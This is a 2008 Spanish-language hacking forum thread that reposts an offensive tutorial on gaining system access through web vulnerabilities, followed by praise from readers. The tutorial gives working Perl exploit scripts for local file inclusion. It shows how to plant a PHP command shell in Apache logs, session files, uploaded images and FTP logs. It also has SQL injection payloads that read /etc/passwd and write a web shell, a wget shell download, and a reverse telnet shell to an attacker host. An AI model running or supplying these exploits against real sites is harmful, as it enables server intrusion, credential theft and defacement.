Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Enero 07, 2009, 11:38:58
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderadores: OzX, y0u uNSeCure)  |  Tema: Vulnerabilidades Web que permiten Acceder al Sistema. 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Vulnerabilidades Web que permiten Acceder al Sistema.  (Leído 483 veces)
y0u uNSeCure
Moderadores
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 3939



Ver Perfil Email
« en: Octubre 25, 2008, 04:55:29 »

|=------=[ Vulnerabilidades web que permiten acceder al sistema ]=-------=|
|=-----------------------------------------------------------------------=|
|=-----=[ pepelux[at]enye-sec[dot]org <http://www.enye-sec.org> ]=-------=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ 12/10/2008 ]-=--------------------------=|


--[ Contenido

  1 - Introduccion

  2 - Local y Remote File Inclusion (LFI/RFI)
   2.1 - Introduccion
   2.2 - Ejecutando comandos remotamente
    2.2.1 - Inyectando codigo PHP en los logs de apache
    2.2.2 - Inyectando codigo PHP en la tabla de procesos
    2.2.3 - Inyectando codigo PHP en una imagen
    2.2.4 - Inyectando codigo PHP en los ficheros de sesiones
    2.2.5 - Inyectando codigo PHP en otros archivos
   2.3 - Obteniendo una shell
   2.4 - Remote File Inclusion

  3 - Blind SQL Injection
   3.1 - Introduccion
   3.2 - Cargando ficheros locales
   3.3 - Obteniendo datos sin fuerza bruta
   3.4 - Ejecutando comandos remotamente
   3.5 - Obteniendo una shell

  4 - Referencias


---[ 1 - Introduccion

Existen muchas vulnerabilidades que nos permiten explotar una web, todas muy
antiguas y documentadas. Tenemos ataques LFI, RFI, SQL, XSS, SSI, ICH, etc. Por
ese motivo me voy a centrar unicamente en aquellos ataques que permiten acceder
al sistema y ejecutar comandos remotamente.

Seria muy aburrido hacer un recopilatorio contando lo mismo de siempre, por lo
que tratare de aportar alguna cosa nueva y contar lo basico solo por encima.



---[ 2 - Local y Remote File Inclusion (LFI/RFI)

----[ 2.1 - Introduccion

Este tipo de ataque es ya muy conocido y basicamente consiste en leer ficheros
del sistema aprovechando fallos de programacion que realizan llamadas a otros
ficheros mediante los comandos require, require_once, include e include_once.
Logicamente, llamadas en las que entre en juego alguna variable no inicializada.
Ejemplos:

    require($file);
    require("includes/".$file);
    require("languages/".$lang.".php");
    require("themes/".$tema."/config.php");

Las formas de explotarlo son bien conocidas y no voy a entrar en detalles, tan
solo las voy a enumerar. Por ejemplo:

Tipo de llamada:
    require($file);

Forma de explotarlo:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

Tipo de llamada:
    require("includes/".$file);

Forma de explotarlo:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

Tipos de llamada:
    require("languages/".$lang.".php");
    require("themes/".$theme."/config.php");

Forma de explotarlo:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

Tipo de llamada:
    require("languages/".$_COOKIE['lang'].".php");

Forma de explotarlo:
    javascript:document.cookie = "lan=../../../../../etc/passwd%00";

Un script que explota esto, por GET o POST, podria ser:

lfi.pl
---------------------------------------------
#! /usr/bin/perl

# perl script to exploit LFI based in GET and POST requests
# Example:
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
#   URL:
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
#   Variable: var
#   Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) =   @ARGV ;

unless($ARGV[2]) {
   print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
   print "\tex: perl $0
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion var GET\n";
   print "\tex: perl $0
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion var POST\n\n";
   exit 1;
}

$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

while () {
   print "file to edit: ";
   chomp($file=<STDIN>);

   if ($method =~ /GET/) {
      $url = $host."?".$var."=../../../../..".$file."%00";
      $req = HTTP::Request->new(GET => $url);
      $req->header('Accept' => 'text/html');
   }
   else {
      $req = HTTP::Request->new(POST => $host);
      $req->content_type('application/x-www-form-urlencoded');
      $req->content($var."=../../../../".$file."%00");
   }

   $res = $ua->request($req);

   if ($res->is_success) {
      $result = $res->content;
      print $result;
   }
   else { print "Error\n"; }
}
---------------------------------------------


----[ 2.2 - Ejecutando comandos remotamente

Hemos visto que ante este tipo de fallos es posible editar cualquier archivo
del sistema al que el usuario web tenga acceso de lectura, pero tambien es
posible llegar a ejecutar comandos en el sistema. Para ello necesitamos
escribir en algun fichero del sistema lo siguiente: <? passthru($_GET[cmd]) ?>

cmd es el nombre que le ponemos a nuestra variable para poder enviar datos a
traves de GET.

Ahora solo queda buscar lugares donde podamos escribir datos. Como hacemos esto?
pues veamos diferentes formas de hacerlo:


-----[ 2.2.1 - Inyectando codigo PHP en los logs de apache

Sabemos que apache guarda logs de todas las operaciones que se realizan, bien en
access_log o bien en error_log. Podemos jugar con los datos que quedan
registrados e intentar inyectar el codigo.

Por ejemplo, para inyectar en el fichero error_log basta con realizar una
llamada a una pagina inexistente, pero enviando el codigo que necesitamos
escribir en el fichero:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion<? passthru(\$_GET[cmd]) ?>

Esto añadira una linea dentro de error_log con la inyeccion de codigo que hemos
puesto. Y ahora que? pues solo nos queda cargar ese fichero de la misma forma
que hicimos antes y pasar en cmd el comando que queramos ejecutar:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion /etc
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion -a

Pero, como sabemos la ubicacion de los logs de apache? Esto depende del
sistema operativo y del administrador del sistema. Una opcion es buscar en los
directorio tipicos donde se guardan los logs:
    /var/log/apache/
    /var/log/httpd/
    /usr/local/apache/logs/
    ......

En un servidor compartido nos podriamos encontrar esta situacion:
    /path/host.com/www
                  /logs
                  /data

En este caso, para conocer el path basta con escribir un fichero que no exista,
por ejemplo:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

Y veremos en pantalla algo asi:
    Warning: require(xxxx) [function.require]: failed to open stream: No such
    file or directory in /var/www/host.com/www/p.php on line 2

Por lo que los logs podrian estar en /var/www/host.com/logs

Otra forma de localizar la ruta de los logs seria editando el fichero de
configuracion httpd.conf donde podemos ver algo como esto:
    ErrorLog /var/log/apache/error.log

O en el caso de un servidor compartido:
    ErrorLog /home/chs/host.com/home/logs/error_log

Pero como comente antes, esto depende del sistema operativo, de la version de
apache y del administrador del sistema, por lo que es posible que no este en
esa ubicacion.

Tambien podemos localizar donde guarda apache los logs buscando en la tabla de
procesos: /proc/{PID}/fd/{FD_ID} (lo malo es que fd solo es accesible por un
usuario en algunos sistemas).

Para localizar el PID de nuestra sesion de apache podemos hacer cualquier
peticion por HTTP y leer enseguida el contenido de /proc/self/stat. Self enlaza
al ultimo pid usado en el sistema, por lo que podemos, con un script, hacer una
peticion y seguidamente leer los ficheros que necesitamos en /proc/self.

Dentro de /proc/{PID}/fd tendremos solo unos pocos enlaces para analizar,
encontrandonos la ruta de access_log y de error_log. Para esta tarea vamos a
usar el siguiente script en perl, que busca todos los enlaces dentro del
directorio /proc/self/fd/ para localizar la ubicacion de error_log:

proc.pl
---------------------------------------------
#! /usr/bin/perl

# perl script to serach apache logs path
# Example:
#   URL:
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
#   Variable: file
#   Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) =   @ARGV ;

unless($ARGV[2]) {
   print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
   print "\tex: perl $0
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion file GET\n";
   print "\tex: perl $0
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion file POST\n\n";
   exit 1;
}

$ua->agent("<? passthru(\$_GET[cmd]) ?>");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

if ($method =~ /GET/) {
  $url = $host."?".$var."=../../../../proc/self/stat%00";
  $req = HTTP::Request->new(GET => $url);
  $req->header('Accept' => 'text/html');
}
else {
  $req = HTTP::Request->new(POST => $host);
  $req->content_type('application/x-www-form-urlencoded');
  $req->content($var."=../../../../proc/self/stat%00");
}

$res = $ua->request($req);

if ($res->is_success) {
  $result = $res->content;
  $result =~ s/<[^>]*>//g;
  $x = index($result, " ", 0);
  $pid = substr($result, 0, $x);

  print "Apache PID: ".$pid."\n";
}

if ($method =~ /GET/) {
  $url = $host."?".$var."=../../../../proc/self/status%00";
  $req = HTTP::Request->new(GET => $url);
  $req->header('Accept' => 'text/html');
}
else {
  $req = HTTP::Request->new(POST => $host);
  $req->content_type('application/x-www-form-urlencoded');
  $req->content($var."=../../../../proc/self/status%00");
}

$res = $ua->request($req);

if ($res->is_success) {
  $result = $res->content;
  $result =~ s/<[^>]*>//g;
  $x = index($result, "FDSize",0)+8;
  $fdsize = substr($result, $x, 3);

  print "FD_SIZE: ".$fdsize."\n";
}

for ($cont = 0; $cont < $fdsize; $cont++) {
  $file = "../../../../proc/".$pid."/fd/".$cont;
  open FILE, $file;

  while(<FILE>) {
    if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
      print "FD: ".$cont."\n";
      exit;
    }
  }
}
---------------------------------------------

pepelux:~$ perl proc.pl
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion page GET
    Apache PID: 4191
    FD_SIZE: 64
    FD: 2

Si localiza el FD es porque /proc/{PID}/fd/{FD_ID} es legible por el usuario y
tendremos, en este caso, en /proc/4191/fd/2 un enlace a error_log. Modificando
el script podriamos lanzar el comando que deseamos ejecutar añadiendo al final
del script la llamada a
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion -a (ver el
primer script).

Tambien podemos hacer la inyeccion usando una URL que no de error y cuyo log se
almacenara en access_log:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion<? passthru(\$_GET[cmd]) ?>

Es posible que apache no guarde bien la inyeccion o que sustituya <? o ?> por
su valor hexadecimal, con lo que no podriamos hacer nada por GET. En ese caso
probaremos a mandar el comando PHP a traves de un POST, por ejemplo usando perl.

Otros datos que guarda el apache en access_log y donde podemos inyectar son el
referer o el user-agent.

Vamos a realizar algunas pruebas usando el siguiente script:

cmd.pl
---------------------------------------------
#! /usr/bin/perl

# perl script to inject a CMD in a web LFI vulnerable
# Example:
#   Host:
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
#   type: U
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $type) =   @ARGV ;
$code="<? passthru(\$_GET[cmd]) ?>";

unless($ARGV[1]) {
   print "Usage: perl $0 <url> [URI|UAG|REF]\n";
   print "\tURI: URI\n";
   print "\tUAG: User-Agent\n";
   print "\tREF: Referer\n\n";
   print "\tex: perl $0
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion URI\n";
   exit 1;
}

$host = "http://".$host if ($host !~ /^http:/);

if ($type =~ /UAG/) { $ua->agent($code); }
else { $ua->agent("Mozilla/5.0"); }

if ($type =~ /URI/) { $$host .= "/" . $code; }

$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content("x=x");

if ($type =~ /REF/) { $req->referer($code); }

$res = $ua->request($req);
---------------------------------------------

Vamos a escribir en error_log enviando una URI inexistente:
    pepelux:~$ perl cmd.pl
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion URI

Y en error_log vemos algo asi:
    [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
    exist: /home/chs/host.com/home/html/blabla

Probamos con el User-Agent:
    pepelux:~$ perl cmd.pl
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion UAG

Y en error_log tenemos lo mismo:
    [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
    exist: /home/chs/host.com/home/html/blabla

Vamos a probar ahora con el Referer:
    pepelux:~$ perl cmd.pl
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion REF

En este caso si que obtenemos la inyeccion:
    [Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not
    exist: /home/chs/host.com/home/html/blabla, referer: <? passthru($_GET[cmd])
    ?>

Vamos a escribir ahora en access_log que almacena mas informacion que error_log:
    pepelux:~$ perl cmd.pl
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion URI

En este caso obtenemos:
    11.22.33.44 - - [08/Oct/2008:12:57:39 +0200] "POST
    /index.php/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 301 - "-"
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820
    Firefox/3.0.1"

Probamos con el User-Agent:
    pepelux:~$ perl cmd.pl
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion UAG

Y obtenemos la inyeccion:
    11.22.33.44 - - [08/Oct/2008:13:00:05 +0200] "POST
    /index.php HTTP/1.1" 301 - "-" "<? passthru($_GET[cmd]) ?>"

Probamos con el Referer:
    pepelux:~$ perl cmd.pl
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion REF

Y tambien obtenemos la inyeccion:
    11.22.33.44 - - [08/Oct/2008:13:00:56 +0200] "POST
    /index.php HTTP/1.1" 301 - "<? passthru($_GET[cmd]) ?>" "Mozilla/5.0 (X11;
    U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1"


-----[ 2.2.2 - Inyectando codigo PHP en la tabla de procesos

He encontrado un texto (pongo abajo la referencia) que explica como inyectar en
/proc/self/environ, que es una ruta estatica que siempre conocemos. El problema
es que en la mayoria de sistemas este fichero solo es accesible por root y no
podremos leer el contenido.

Como comente antes /proc/self apunta al ultimo pid usado, por lo que no
necesitamos averiguar cual es el pid de nuestro proceso de apache ya que
accederiamos a el directamente. El ataque consiste en realizar la inyeccion en
el User-Agent lanzando seguidamente la llamada a este fichero:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion -a

Al igual que antes, esto habria que hacerlo con un pequeño script ya que se debe
inyectar y seguido lanzar el comando, antes que self apunte a otro pid diferente
a nuestro proceso.


-----[ 2.2.3 - Inyectando codigo PHP en una imagen

Es muy habitual encontrarse con webs que nos permiten subir un avatar el cual
queda almacenado en el servidor. Que ocurriria si creamos un archivo de texto
que contenga: <? passthru($_GET[cmd]) ?> y lo guardamos con extension GIF o JPG?
pues que nos dejaria subirlo sin problemas ya que la extension corresponde con
una imagen y en caso de que la web sea vulnerable a un ataque LFI, podriamos
explotarlo de la misma forma que hemos visto antes:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion -a


-----[ 2.2.4 - Inyectando codigo PHP en los ficheros de sesiones

Supongamos el siguiente codigo vulnerable:

    <?php
      $user = $_GET['user'];
      session_register("user");
      session_start();
    ?>

Como podemos ver, esta creando una variable de sesion usando un valor obtenido
mediante GET y del que no hace ningun tipo de verificacion.

Vamos a enviar:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion<? passthru($_GET[cmd]) ?>

Luego miramos las cookies de nuestro navegador y podemos ver algo asi:
    PHPSESSID=b25ca6fea480073cf8eb840b203d343e

Analizando la carpera donde se guardan las sesiones podemos comprobar el
contenido:
    pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
             user|s:26:"<? passthru($_GET[cmd]) ?>";

Ya que en este caso podemos inyectar codigo en el fichero que guarda los datos
de nuestra sesion, tambien podremos ejecutar comandos usando este fichero:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion -a

En este caso la ruta la conocemos y podemos seleccionarla sin problemas. Si por
GET filtra la entrada podemos inyectar usando POST.


-----[ 2.2.5 - Inyectando codigo PHP en otros archivos

Normalmente no tendremos acceso dado que solo root puede leer estos archivos
pero seria posible inyectar nuestro codigo en otros logs, como por ejemplo en
el de FTP:
    pepelux:~$ ftp host.com
    220 ProFTPD 1.3.1 Server (Debian) [host.com]
    Name (pepelux): <? passthru($_GET[cmd]) ?>
    Password:

Si echamos un vistazo a /var/log/proftpd/proftpd.log podemos ver que nuestro
codigo se ha inyectado:
    Oct 09 21:50:21 host.com proftpd[11190] host.com
    ([11.22.33.44]): USER <? passthru($_GET[cmd]) ?>: no such user found
    from [11.22.33.44] to host.com:21

Si el servidor vulnerable usa una version antigua de webalizer y es accesible
por web, tambien es posible usar el fichero usage_DATE.html para ejecutar
codigo ya que este fichero se genera con las estadisticas de visitas a partir
de access.log y en versiones antiguas de webalizer es posible inyectar codigo
html en el referer. Por ejemplo: Referer: <? passthru($_GET[cmd]) ?>

Tan solo tienes que hacer un bucle de llamadas con ese referer para que
ese referer entre entre los mas enviados y aparezca en la pagina de visitas.

En caso de que el servidor admita el uso del comando PUT tambien seria posible
subir un archivo con nuestro codigo:
    pepelux:~$ telnet host.com 80
    Trying 11.22.33.44...
    Connected to host.com.
    Escape character is '^]'.
    OPTIONS / HTTP/1.1

    HTTP/1.1 200 OK
    Date: Sat, 11 Oct 2008 15:06:05 GMT
    Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
    Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
    Content-Length: 0
    Connection: close
    Content-Type: httpd/unix-directory

    Connection closed by foreign host.

Para inyectar:
    pepelux:~$ telnet host.com 80
    Trying 11.22.33.44...
    Connected to host.com.
    Escape character is '^]'.
    PUT /file.txt HTTP/1.1
    Content-Type: text/plain
    Content-Length:26

    <? passthru($_GET[cmd]) ?>


----[ 2.3 - Obteniendo una shell

Una vez que hemos conseguido ejecutar comandos remotamente, podemos intentar
crear una shell para acceder al sistema.

Una forma seria instalando una shell basada en PHP. Podemos descargarla usando
el comando wget:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion -O shell.php

Como no podemos descargar por HTTP un archivo PHP, lo que hacemos es bajar un
fichero TXT y guardarlo como PHP.

Tambien podemos intentar realizar un reverse telnet:
    pepelux:~$ nc -vv -l -p 8888
    pepelux:~$ nc -vv -l -p 8889

   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion devil 8888 | /bin/sh | telnet devil 8889


----[ 2.4 - Remote File Inclusion

En el caso de que en php.ini la variable allow_url_include este a On, podremos
aprovechar este tipo de inclusiones para inyectar una shell directamente. La
tecnica es la misma que he descrito antes y tambien es muy conocida. Basta con
cargar por GET o POST directamente una URL que tenga la shell (con una
extension diferente a PHP para poder incluir el contenido del fichero):
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion



---[ 3 - Blind SQL Injection

----[ 3.1 - Introduccion

Los ataques de inyeccion SQL son tambien muy conocidos y muy documentados por
lo que no voy a volver a escribirlos. Unicamente comentare la tecnica que nos
permite leer ficheros del sistema.


----[ 3.2 - Cargando ficheros locales

Ante una web vulnerable a ataques SQL (os recuerdo que este doc esta basado en
MySQL), en el caso de que el usuario con el conectamos a la base de datos tenga
permisos para usar el comando load_file de MySQL, podemos cargar cualquier
archivo del sistema, por ejemplo, /etc/passwd.

Ejemplo:

Tabla: users(id int, user char(25), pass char(25), mail char(255));

Datos en la tabla:
    +---+---------+----------------------------------+--------------+
    | 1 | admin   | 23e4ad2360f4ef4268cb44871375a5cd | admin  @host   |
    +---+---------+----------------------------------+--------------+
    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux  @host |
    +---+---------+----------------------------------+--------------+

Codigo vulnerable:

<?php
      $iduser = $_GET['id'];
      $link = mysql_connect("localhost", "mysql_user", "mysql_password");
      mysql_select_db("database", $link);

      $result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
      $row = mysql_fetch_array($result);

      echo "El mail del usuario es:" . $row["mail"] . "\n";
?>

Partimos de una tabla que desconocemos, con unos campos que desconocemos y con
un MySQL que no muestra los errores por pantalla.

> llamada correcta que muestra el mail del usuario 2:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

> intentamos reordenar los resultados del query mediante injeccion de SQL:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion ORDER BY 1 ... Ok
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion ORDER BY 2 ... Ok
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion ORDER BY 3 ... Ok
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion ORDER BY 4 ... Ok
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion ORDER BY 5 ... Error

Porque da error en ORDER BY 5? si usamos ORDER BY 2 le estamos diciendo que nos
muestre los resultados ordenador por el user, con ORDER BY 3, le decimos que
ordene la salida segun la columna pass, pero como solo existen 4 columnas en esa
tabla, ORDER BY 5 provoca un error.

Para que sirve esto? pues para conocer el numero de columnas que tiene la
tabla sobre la que se esta realizando la query.

> modificamos la salida por pantalla (ya sabemos que hay 4 columnas):
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion UNION SELECT 1,2,3,4

Que hace esto? pues busca el usuario con ID=-1, que devolvera 0 resultados y
creara una nueva fila con los datos que hemos introducido. Por que ponemos
ID=-1? veamos un ejemplo practico:

Entrada:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion UNION SELECT 1,2,3,4

Salida:
    +---+---------+----------------------------------+--------------+
    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux  @host |
    +---+---------+----------------------------------+--------------+
    | 1 | 2       | 3                                | 4            |
    +---+---------+----------------------------------+--------------+

Como en pantalla muestra solo el primer resultado, la salida sera:
    El mail del usuario es: pepelux  @host

En caso de poner ID=-1 solo obtendremos los datos que hemos inyectado:

Entrada:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion UNION SELECT 1,2,3,4

Salida:
    +---+---------+----------------------------------+--------------+
    | 1 | 2       | 3                                | 4            |
    +---+---------+----------------------------------+--------------+

La salida sera:
    El mail del usuario es: 4

> aprovechamos la columna 4 (que aparece por pantalla) para inyectar:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion UNION SELECT 1,2,3,load_file('/etc/passwd');

Esto mostraria por pantalla el contenido de /etc/passwd en el lugar donde
deberia aparecer el mail del usuario (siempre que el usuario con el que
accedemos a la base de datos tenga permisos para hacer un load_file).

En el caso de que las magic_quotes esten activas y no podamos escribir
comillas, podemos sustituir el fichero por su equivalente en hex:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);

Una diferencia entre leer archivos usando LFI y leerlos usando inyecciones SQL
es que el usuario con el que leemos es diferente. En el primer caso usaremos un
usuario apache y en el segundo un usuario mysql. Esto no es muy importante pero
puede servir a la hora de leer archivos con ciertos permisos.


----[ 3.3 - Obteniendo datos sin fuerza bruta

Supongamos la siguiente situacion con el mismo codigo vulnerable de antes:

Tabla: users(id int, user char(25), pass char(25), mail char(255));

Datos en la tabla:
    +---+---------+----------------------------------+--------------+
    | 1 | admin   | 23e4ad2360f4ef4268cb44871375a5cd | admin  @host   |
    +---+---------+----------------------------------+--------------+
    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux  @host |
    +---+---------+----------------------------------+--------------+

<?php
      $iduser = $_GET['$id'];
      $link = mysql_connect("localhost", "mysql_user", "mysql_password");
      mysql_select_db("database", $link);

      $result = mysql_query("SELECT * FROM usuarios WHERE id=$iduser", $link);
      $row = mysql_fetch_array($result);

      echo "El mail del usuario es:" . $row["mail"] . "\n";
?>

Podemos ver toda la fila de datos de la tabla si hacemos lo siguiente:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion outfile "/tmp/sql.txt"
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion UNION SELECT 1,2,3,load_file('/tmp/sql.txt');

Y veremos que el contenido de /tmp/sql.txt es:
    1       admin    23e4ad2360f4ef4268cb44871375a5cd   admin  @host

Como podemos apreciar, hemos sacado todos los datos del user con id 1 sin
necesidad de conocer el nombre de la tabla ni el de ningun campo. De la misma
forma podemos sacar los datos del resto de usuarios.

El problema de este ataque es que solo podemos ver los datos de la tabla sobre
la que se esta realizando la consulta.

Usando esta tecnica podemos tambien copiar ficheros del sistema en el directorio
local para acceder a ellos por web, por ejemplo:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion union select 1,load_file("/etc/passwd"),1 into outfile
    "/var/www/host.com/www/passwd"

O tambien podemos crear PHPs. Por ejemplo:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion union select 1,"<?phpinfo()?>",1 into outfile
    "/var/www/host.com/www/phpinfo.php"
 

----[ 3.4 - Ejecutando comandos remotamente

Hemos visto antes diversas formas de inyectar <? passthru($_GET[cmd]) ?> para
poder ejecutar comandos remotamente. El principal problema que nos
encontrabamos era poder inyectar en un fichero facilmente localizable. En el
caso de los logs de apache era complicado averiguar la ubicacion y tambien era
posible que el usuario no tuviera acceso de lectura a estos logs.

En este caso es sencillo provocar un error que nos muestre por pantalla la
ruta donde se encuenta la web. Conociendola podemos crear un PHP con el codigo
que nos permita ejecutar comandos:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion union select 1,"<?passthru($_GET[cmd])?>",1 into outfile
    "/var/www/host.com/www/cmd.php"

Luego bastaria con cargar:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion -a

Si la web es ademas vulnerable a ataques de LFI podemos escribir el codigo en
cualquier lugar en el que tengamos permisos de escritura. Por ejemplo en /tmp:

Primero inyectamos el codigo en un fichero en /tmp:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion union select 1,"<? passthru($_GET[cmd]) ?>",1,1 into
    outfile "/tmp/sql.txt"

Luego usamos LFI para ejecutar comandos:
   
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion -a


----[ 3.5 - Obteniendo una shell

Si hemos conseguido crear un fichero con nuestro codigo, la forma de obtener
una shell es la misma que he comentado antes para el LFI (punto 2.3)  :-)



---[ 4 - Referencias

-
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
-
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
-
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
-
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion




Salud0Z!
« Última modificación: Octubre 25, 2008, 04:57:18 por [ e0f ] d0RkNet » En línea

"Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas." Albert Einstein

 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Normas del Foro

 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
F. A. Q. Bugs y Exploits

 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Leer antes de Trabajar con Troyanos

y0u uNSeCure
p4DuCkz
Recien Llegado
*
Desconectado Desconectado

Mensajes: 6


Ver Perfil
« Respuesta #1 en: Octubre 25, 2008, 02:14:56 »

buena info... vale.

me voy a dar el tiempo de leerla bien...
En línea
fa61an
Miembro
*****
Desconectado Desconectado

Mensajes: 128


Ver Perfil Email
« Respuesta #2 en: Octubre 25, 2008, 05:47:24 »

Excelente resumen...

En línea
aleqiu
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1057


Rango = Lammer = novato = newbies = hack = hackExp


Ver Perfil
« Respuesta #3 en: Octubre 26, 2008, 01:01:50 »

mmmm esta bueno aparte bien explicado con detalles , buen aporte

saludos
 
En línea
The LØck P!ck3®
Miembro
*****
Desconectado Desconectado

Mensajes: 131


Estoy rodeado de Frikis que desgracia.


Ver Perfil
« Respuesta #4 en: Noviembre 05, 2008, 01:37:24 »

Esta muy bien pero hay mucha cosa que no entiendo, me lo voy a tener que leer muy bien , pero muchissimas gracias estoy seguro que debe servir perfectamente ^^


No hay puerta que no podamos abrir los LockPicker's
En línea
spy2
Recien Llegado
*
Desconectado Desconectado

Mensajes: 3


Ver Perfil
« Respuesta #5 en: Diciembre 04, 2008, 08:31:43 »

solo con un poquito de time para una buena lectura de este gran aporte....


Grasias colega...
En línea
supertroyan
Habitual
*****
Desconectado Desconectado

Mensajes: 397


amo la libretad no me gusta la monotonia


Ver Perfil Email
« Respuesta #6 en: Diciembre 04, 2008, 08:39:45 »

Men gracias por el aporte esto me sirve mucho ya que estoy estudiando deface saludos
En línea


Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderadores: OzX, y0u uNSeCure)  |  Tema: Vulnerabilidades Web que permiten Acceder al Sistema. « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC